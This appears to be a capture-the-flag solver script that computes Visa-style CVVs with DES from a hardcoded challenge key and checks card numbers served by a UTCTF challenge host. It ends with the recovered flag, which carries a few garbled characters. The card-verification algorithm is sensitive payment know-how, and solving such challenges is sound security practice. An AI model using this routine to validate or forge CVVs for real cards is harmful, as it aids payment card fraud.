# Configuration
HOST = 'puffer.utctf.live'
PORT = 8625
cvv_key = "dae55498c432545826fb153885bcb06b"
validation_sequence = []

def calculate_cvv(pan, expiry, service_code, cvv_key):
    cvv_key_bytes = binascii.unhexlify(cvv_key)
    block1_key, block2_key = cvv_key_bytes[:8], cvv_key_bytes[8:]

    data = f"{pan}{expiry}{service_code}".ljust(32, '0')
    block1_data, block2_data = data[:16], data[16:]

    block1_data_bytes = binascii.unhexlify(block1_data)
    block2_data_bytes = binascii.unhexlify(block2_data)

    des1 = DES.new(block1_key, DES.MODE_ECB)
    encrypted_block1 = des1.encrypt(block1_data_bytes)
    xor_result = bytes(a ^ b for a, b in zip(encrypted_block1, block2_data_bytes))
    encrypted_xor_result = des1.encrypt(xor_result)
    des2 = DES.new(block2_key, DES.MODE_ECB)
    decrypted_result = des2.decrypt(encrypted_xor_result)
    final_encryption = des1.encrypt(decrypted_result)

    final_digits = ''.join(filter(str.isdigit, binascii.hexlify(final_encryption).decode()))
    calculated_cvv = final_digits[:3]

    return calculated_cvv

def connect_and_validate():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        while True:
            data = s.recv(1024).decode()
            if not data:
                break

            if "PAN:" in data:
                try:
                    print(data)
                    pan = data.split("PAN: ")[1].split(",")[0]
                    date = data.split("date: ")[1].split(",")[0]
                    service_code = data.split("code: ")[1].split(",")[0]
                    provided_cvv = data.split("cvv: ")[1].split("\n")[0].strip()

                    calculated_cvv = calculate_cvv(pan, date, service_code, cvv_key)
                    is_valid = '1' if calculated_cvv == provided_cvv else '0'
                    print(is_valid)
                    validation_sequence.append(is_valid)

                    s.send(is_valid.encode()+"\n".encode())
                except Exception as e:
                    print(f"Error processing data: {e}")
                    break

def save_sequence():
    with open("validation_sequence.txt", "w") as file:
        file.write(''.join(validation_sequence))

if __name__ == "__main__":
    connect_and_validate()
    save_sequence()
    print("Validation sequence saved to validation_sequence.txt.")

# validation_sequence.txt:
# 110110000111010101110100011001100110110001100001011001110111101101101000011011110111000001100101010111110110111001101111011011100110010101011111011011110110011001011111011101000110100001101111011100110110010101011111011101110110010101110010011001010101111101111001011011110111010101110010011100110101111101101100011011110110110001111101
# Cyberchef: ร˜utflag{hope_none_of_those_were_yours_lol}

Last updated